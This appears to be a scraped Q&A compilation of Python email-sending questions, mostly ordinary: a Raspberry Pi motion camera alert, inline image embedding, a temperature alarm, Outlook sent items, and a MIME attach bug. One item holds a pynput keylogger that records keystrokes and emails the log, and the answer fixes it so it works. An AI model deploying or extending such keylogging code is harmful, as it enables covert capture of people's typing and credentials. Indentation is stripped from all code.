Python Raspberry Pi Adding Functions - python

I have the below code for when motion is detected i call the camera and email functions. I tried adding the functions after printing Motion Detected but didnt work. Can someone help me where to add the functions? Need it for tomorrow if possible. Thanks
Edit: This is the whole code to help me find the error. Thanks
#!/usr/bin/python
import subprocess
import socket
import datetime
#Camera
import os
import pygame, sys
from pygame.locals import *
import pygame.camera
#Email
import os
import smtplib
from email import encoders
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart
#Sensor
import RPi.GPIO as GPIO
import time
GPIO.setmode(GPIO.BCM)
GPIO.setwarnings(False)
COMMASPACE = ', '
GPIO.setmode(GPIO.BCM)
PIR_PIN = 7
GPIO.setup(PIR_PIN, GPIO.IN)
def MOTION(PIR_PIN):
print(“Motion Detected!”)
print(“PIR Module Test (CTRL+C to exit)”)
time.sleep(2)
print(“Ready”)
try:
GPIO.add_event_detect(PIR_PIN, GPIO.RISING, callback=MOTION)
while 1:
time.sleep(100)
except KeyboardInterrupt:
print(“ Quit”)
GPIO.cleanup()
def camera():
width = 480
height = 360
#initialise pygame
pygame.init()
pygame.camera.init()
cam = pygame.camera.Camera("/dev/video0",(width,height))
cam.start()
#setup window
windowSurfaceObj = pygame.display.set_mode((width,height),1,16)
pygame.display.set_caption('Camera')
#take a picture
image = cam.get_image()
cam.stop()
#display the picture
catSurfaceObj = image
windowSurfaceObj.blit(catSurfaceObj,(0,0))
pygame.display.update()
#save picture
pygame.image.save(windowSurfaceObj,'picture.jpg')
def email():
sender = ''
gmail_password = ''
recipients = ''
composed = ''
# Create the enclosing (outer) message
outer = MIMEMultipart()
outer['Subject'] = 'MOTION HAS BEEN DETECTED!'
outer['To'] = COMMASPACE.join(recipients)
outer['From'] = sender
outer.preamble = 'You will not see this in a MIME-aware mail reader.\n'
# List of attachments
attachments = ['/home/pi/Desktop/picture.jpg']
# Add the attachments to the message
for file in attachments:
try:
with open(file, 'rb') as fp:
msg = MIMEBase('application', "octet-stream")
msg.set_payload(fp.read())
encoders.encode_base64(msg)
msg.add_header('Content-Disposition', 'attachment', filename=os.path.basename(file))
outer.attach(msg)
except:
print("Unable to open one of the attachments. Error: ", sys.exc_info()[0])
raise
composed = outer.as_string()
# Send the email
try:
with smtplib.SMTP('smtp.gmail.com', 587) as s:
s.ehlo()
s.starttls()
s.ehlo()
s.login(sender, gmail_password)
s.sendmail(sender, recipients, composed)
s.close()
print("Email sent!")
except:
print("Unable to send the email. Error: ", sys.exc_info()[0])
raise
MOTION(PIR_PIN)

Related

Email sending before file is saved

I'm trying to make a program that captures everything I type on my keyboard, saves it to a text file and emails it to me. Every time it emails it it is empty or has text from the last time I ran it. I'm not sure what to do.
from pynput.keyboard import Key, Listener
from datetime import datetime
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
email_user = 'username#gmail.com'
email_send = 'reciever#gmail.com'
password = 'password'
subject = 'file'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'hi'
filename='filename.txt'
attachment =open(filename, 'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)
msg.attach(part)
msg.attach(MIMEText(body,'plain'))
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(email_user, password)
now = datetime.now()
dt_string = now.strftime("%d/%m/%Y %H:%M:%S")
def show(key):
file = open('filename.txt', 'a+')
file.write(dt_string + " ")
if key != Key.backspace and key != Key.left and key != Key.right and key != Key.up and key != Key.down and key != Key.shift and key != Key.shift_r:
file.write(format(key)+'\n')
if key == Key.delete:
server.sendmail(email_user, email_send,text)
return False
with Listener(on_press = show) as listener:
listener.join()
Your text is empty as it is initialized at the start and when you're sending the email the same empty text is being sent. What you need to do is read through the file before you send your email. Call a function above server.sendmail(email_user, email_send,text) as text = readFile()
def readFile():
** read your file **
** and return text **

How to embed multiple images in email HTML using Python

I have a list of 15 .jpg images saved in one folder. I want all of them to be embedded in the body of an email. My first approach was to vertically stack them to one long image and embed the single image - but then the big picture seems to shrink in the generated email and it gets smaller, the more pictures I stack together.
I struggle to find a reproducible example where multiple images are embedded below each other in a mail such that each picture keeps the original size.
I found a good post here: http://dogdogfish.com/python-2/emailing-multiple-inline-images-in-python/ and 95% is taken from their example. Thanks to the bloggers!
I updated the imports to Python 3.x and adjusted the code such that all images in a specific folder will get embedded
from os import listdir
from os.path import isfile, join
import cgi
import uuid
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from email.header import Header
import os
import smtplib
from email.mime.base import MIMEBase
from email import encoders
import numpy as np
gmail_user = "my_email#gmail.com"
gmail_pwd = "pw"
final_path_current = "path/to/folder/with/images"
receive_mail = "friend_email#gmail.com"
def attach_image(img_dict):
with open(img_dict['path'], 'rb') as file:
msg_image = MIMEImage(file.read(), name=os.path.basename(img_dict['path']))
msg_image.add_header('Content-ID', '<{}>'.format(img_dict['cid']))
return msg_image
def attach_file(filename):
part = MIMEBase('application', 'octect-stream')
part.set_payload(open(filename, 'rb').read())
encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename=%s' % os.path.basename(filename))
return part
def generate_email(gmail_user, to_list, img_dict):
msg = MIMEMultipart('related')
msg['Subject'] = Header(u'Subject', 'utf-8')
msg['From'] = gmail_user
msg['To'] = ','.join(to_list)
msg_alternative = MIMEMultipart('alternative')
msg_text = MIMEText(u'Image not working', 'plain', 'utf-8')
msg_alternative.attach(msg_text)
msg.attach(msg_alternative)
msg_html = u'<h1>Below are the images</h1>'
for img in img_dict:
msg_html += u'<h3>'+img["title"][:-4]+'</h3><div dir="ltr">''<img src="cid:{cid}" alt="{alt}"><br></div>'.format(
alt=cgi.escape(img['title'], quote=True), **img)
msg_html = MIMEText(msg_html, 'html', 'utf-8')
msg_alternative.attach(msg_html)
for img in img_dict:
msg.attach(attach_image(img))
return msg
def send_email(msg, gmail_user, gmail_pwd, to_list):
mailServer = smtplib.SMTP('smtp.gmail.com', 587)
mailServer.ehlo()
mailServer.starttls()
mailServer.ehlo()
mailServer.login(gmail_user, gmail_pwd)
mailServer.sendmail(gmail_user, to_list, msg.as_string())
mailServer.quit()
img_dict = []
all_files = [f for f in listdir(final_path_current) if isfile(join(final_path_current, f))]
for file in all_files:
img_dict_single = dict(title=file, path=final_path_current+"/"+file, cid=str(uuid.uuid4()))
img_dict.append(img_dict_single)
email_msg = generate_email(gmail_user, [receive_mail], img_dict=img_dict)
send_email(email_msg, gmail_user, gmail_pwd, [receive_mail])

Room Temperature Alarm to Email - Raspberry Pi

I'm trying to send and email based on High temperature or humidity but i cant figure out how to add this. Its my first time using DHT22 with Raspberry Pi so not sure how to structure my code.
I've tried a variety of codes others have suggested but they either no longer work on Python 3 (originally Python 2 - depreciated), or the code I've written just doesn't do anything except monitor and log with no email on high temp.
My original coding so far is this:
import os
import time
from time import sleep
from datetime import datetime
import Adafruit_DHT
file = open("/home/pi/TempHumLog.csv", "a")
if os.stat("/home/pi/TempHumLog.csv").st_size == 0:
file.write("Date,Time,Temperature,Humidity\n")
while True:
DHT_SENSOR = Adafruit_DHT.DHT22
DHT_PIN = 4
temperature, humidity = Adafruit_DHT.read_retry(DHT_SENSOR, DHT_PIN)
file.write("{0},{1},{3:0.2f}*C,{2:0.2f}%rh\n".format(time.strftime("%d/%m/%y"), time.strftime("%H:%M:%S"), temperature, humidity))
file.flush()
print("{0},{1},{3:0.2f}*C,{2:0.2f}%rh\n".format(time.strftime("%d/%m/%y"), time.strftime("%H:%M:%S"), temperature, humidity))
time.sleep(5)
import smtplib
#Email Variables
SMTP_SERVER = 'smtp.gmail.com' #Email Server (don't change!)
SMTP_PORT = 587 #Server Port (don't change!)
GMAIL_USERNAME = 'example#gmail.com' #change this to match your gmail account
GMAIL_PASSWORD = 'example pw' #change this to match your gmail password
class Emailer:
def sendmail(self, recipient, subject, content):
#Create Headers
headers = ["From: " + GMAIL_USERNAME, "Subject: " + subject, "To: " + recipient,
"MIME-Version: 1.0", "Content-Type: text/html"]
headers = "\r\n".join(headers)
#Connect to Gmail Server
session = smtplib.SMTP(SMTP_SERVER, SMTP_PORT)
session.ehlo()
session.starttls()
session.ehlo()
#Login to Gmail
session.login(GMAIL_USERNAME, GMAIL_PASSWORD)
#Send Email & Exit
session.sendmail(GMAIL_USERNAME, recipient, headers + "\r\n\r\n" + content)
session.quit
sender = Emailer()
while True:
if temperature > 24:
sendTo = 'example#gmail.com'
emailSubject = "High Temp!"
emailContent = "<br>A High Temp has Activated At: " + time.ctime() + "<br><br>Check The Room Temperature Levels"
sender.sendmail(sendTo, emailSubject, emailContent)
print("Email Sent")
elif temperature < 23:
sendTo = 'example#gmail.com'
emailSubject = "Room Temp Healthy"
emailContent = "High Room Temp Alarm Has Cleared At: " + time.ctime()
sender.sendmail(sendTo, emailSubject, emailContent)
print("Email Sent")
time.sleep(5)
At this time, no errors come through the terminal but it doesn't send any email. I've tried adding something like this:
instance = dht22.DHT22(pin=4)
while True:
result = instance.read()
tempHI = 26
tempLOW = 19
if (result.temperature) > tempHI:
**Send Email Script**
But no luck!
Any ideas how i can get the high temperature to trigger the email?

Python Outlook Sent Folder

I created an automated email sender in Python for Outlook. It works fine, but I was wondering if it is possible to save the emails it sends in the sent folder. I'm sure there is, but I am unsure where to begin. Any help would be appreciated.
This is in Python 3.6
======
from tkinter import *
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
import csv
import time
import warnings
root = Tk()
root.geometry('200x200')
email_label = Label(root, text="Enter your email")
email_label.pack()
username = Entry(root, width = 30)
username.pack()
password_label = Label(root, text="Enter your password")
password_label.pack()
password = Entry(root, show="*", width = 30)
password.pack()
def add_var():
user_name = username.get()
pass_word = password.get()
with open("emailtk.csv") as f:
try:
reader = csv.reader(f)
for row in reader:
time.sleep(3)
address = row[0]
first_name = row[1]
last_name = row[2]
name = first_name+' '+last_name
company = row[4]
msg = MIMEMultipart()
msg["To"] = address
msg["From"] = user_name
msg["Subject"] = subject
print("Will now send an email to %s at %s at %s" % (name, company, address))
msgText = MIMEText("""
Hello %s!
""" % (name), 'html')
msg.attach(msgText) # Added, and edited the previous line
time.sleep(5)
smtp = smtplib.SMTP('Outlook.com', 25)
smtp.ehlo()
smtp.starttls()
smtp.login(user_name,pass_word)
smtp.sendmail(user_name, address, msg.as_string())
print("email sent")
print("======================")
print()
smtp.quit()
Sending via SMTP will not copy the messages into the Sent Items folder. You will need to use Outlook Object Model (via win32com) or EWS (in case of Exchange Server).
UPDATE: as of Summer 2019, messages sent through Office 365 SMTP servers are saved in the Sent Items folder of the sending account mailbox.

AttributeError: 'str' object has no attribute 'policy'

I am new to Python. I am trying to make an email script that can send an email. First, I made a Python script without any classes, just function just to make sure that the script runs as expected. After I got the expected result. I am trying to rewrite the script using classes, so as to learn. But I am getting error, which I don't understand. I don't understand where actually the problem lies.
Below is the code as well as the screenshot of the error
import smtplib
import os
import sys
import mimetypes #for guess mime types of attachment
from email import encoders
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.audio import MIMEAudio
from email.mime.base import MIMEBase
from email.mime.image import MIMEImage
class Email(object):
message = None
subject = None
from_address = None
to_address = None
body = None
email_server = None
attachment = None
def __init__(self,from_address,to_address,subject,body,attachment,email_server):
self.message = MIMEMultipart()
self.message['subject'] = subject
self.message['From'] = from_address
self.message['TO'] = to_address
self.body = MIMEText(body, 'plain')
self.message.attach(body)
self.email_server = email_server
if attachment is not None:
self.attachment = attachment
self.attach_attachment()
def get_message(self):
return self.message
def send_message(self,auth):
username, password = auth.get_user_auth_details()
server = smtplib.SMTP(self.email_server)
server.starttls() #For Encryption
server.login(username, password)
server.send_message(self.message)
server.quit()
def attach_attachment(self):
self.messaege = self.attachment.set_attachment_type(self.message)
class Security(object):
username = ""
password = ""
def __init__(self,username, password):
self.username = username
self.password = password
def get_user_auth_details(self):
return self.username, self.password
class Attachment(object):
attachment_path = ''
def __init__(self,attachment_path):
self.attachment_path = attachment_path
def is_directory(self):
return os.path.isdir(self.attachment_path)
def is_file(self):
return os.path.isfile(self.attachment_path)
def guess_and_get_attachment_type(self, filenamepath):
ctype, encoding = mimetypes.guess_type(filenamepath)
if ctype is None or encoding is not None:
# No guess could be made, or the file is encoded (compressed), so
# use a generic bag-of-bits type.
ctype = "application/octet-stream"
maintype , subtype = ctype.split('/' , 1)
if maintype == 'text':
fp = open(filenamepath)
attachment = MIMEText(fp.read() , subtype)
fp.close()
elif maintype == 'image':
fp = open(filenamepath , 'rb')
attachment = MIMEImage(fp.read() , subtype)
fp.close()
elif maintype == 'audio':
fp = open(filenamepath , 'rb')
attachment = MIMEAudio(fp.read() , subtype)
fp.close()
else:
fp = open(filenamepath , 'rb')
attachment = MIMEBase(maintype , subtype)
attachment.set_payload(fp.read()) #Actual message
fp.close()
encoders.encode_base64(attachment) # Encode the payload using Base64
return attachment
def set_attachment_type(self,message):
if(self.is_directory()):
for filename in os.listdir(self.attachment_path):
filenamepath = os.path.join(self.attachment_path , filename)
attachment = self.guess_and_get_attachment_type(filenamepath)
# Set the filename parameter
attachment.add_header('Content-Disposition', 'attachment', filename = filenamepath)
message.attach(attachment)
elif(self.is_file()):
attachment = self.guess_and_get_attachment_type(self.attachment_path)
# Set the filename parameter
attachment.add_header('Content-Disposition', 'attachment', filename = self.attachment_path)
message.attach(attachment)
else:
print("Unable to open file or directory")
return message
def main():
#Constants
GMAIL_SERVER = "smtp.gmail.com:587"
FROM_ADDRESS = "xyz#gmail.com"
TO_ADDRESS = "xzy#gmail.com"
auth = Security("xyz#gmail.com" , "MySuperSecretPassword")
attachment = Attachment("/path/to/attachment/file/or/directory")
email = Email(FROM_ADDRESS ,TO_ADDRESS, "Hi from class Python" , "OOPs Python at Work!!" ,attachment,GMAIL_SERVER )
email.send_message(auth)
if __name__ == '__main__':
main()
I changed
self.message.attach(body) #In the class email constructor
to
self.message.attach(self.body) #In the class email constructor
and it worked.
I was attaching string type to message instead of MIMEText

Categories

Resources